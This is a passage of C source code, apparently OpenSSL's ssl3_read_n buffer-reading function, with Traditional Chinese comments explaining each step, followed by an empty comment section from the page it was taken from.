  if (s->s3->rbuf.left == 0)
   s->s3->rbuf.offset = 0;
  s->packet = s->s3->rbuf.buf + s->s3->rbuf.offset;
  s->packet_length = 0;
  /* ... now we can act as if 'extend' was set */
  }
 /* if there is enough in the buffer from a previous read, take some */
 if (s->s3->rbuf.left >= (int)n)
  {
// 如果已讀緩衝區中剩餘數據超過要讀的數據,直接移動指針即可
  s->packet_length+=n;
  s->s3->rbuf.left-=n;
  s->s3->rbuf.offset+=n;
  return(n);
  }
 /* else we need to read more data */
// 預讀數據長度爲0
 if (!s->read_ahead)
  max=n;
 {
  /* avoid buffer overflow */
// 當前緩衝區最大空閒值
  int max_max = s->s3->rbuf.len - s->packet_length;
  if (max > max_max)
   max = max_max;
 }
 if (n > max) /* does not happen */
  {
// 要讀的數據量超過了緩衝區量,出錯
  SSLerr(SSL_F_SSL3_READ_N,ERR_R_INTERNAL_ERROR);
  return -1;
  }
 off = s->packet_length;
// newb爲讀緩衝區中剩下的有效數據長度
 newb = s->s3->rbuf.left;
 /* Move any available bytes to front of buffer:
  * 'off' bytes already pointed to by 'packet',
  * 'newb' extra ones at the end */
 if (s->packet != s->s3->rbuf.buf)
  {
  /*  off > 0 */
  memmove(s->s3->rbuf.buf, s->packet, off+newb);
  s->packet = s->s3->rbuf.buf;
  }
 while (newb < n)
  {
 /* Now we have off+newb bytes at the front of s->s3->rbuf.buf and need
  * to read in more until we have off+n (up to off+max if possible) */
  clear_sys_error();
  if (s->rbio != NULL)
   {
   s->rwstate=SSL_READING;
// 通過SSL的讀BIO讀取數據
   i=BIO_read(s->rbio, &(s->s3->rbuf.buf[off+newb]), max-newb);
   }
  else
   {
   SSLerr(SSL_F_SSL3_READ_N,SSL_R_READ_BIO_NOT_SET);
   i = -1;
   }
  if (i <= 0)
   {
// 讀完或出錯, newb爲緩衝區剩餘有效數據長度
   s->s3->rbuf.left = newb;
   return(i);
   }
  newb+=i;
  }
 /* done reading, now the book-keeping */
// 讀數據完成, 修改偏移量和剩餘數據長度
 s->s3->rbuf.offset = off + n;
 s->s3->rbuf.left = newb - n;
 s->packet_length += n;
 s->rwstate=SSL_NOTHING;
 return(n);
 }

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章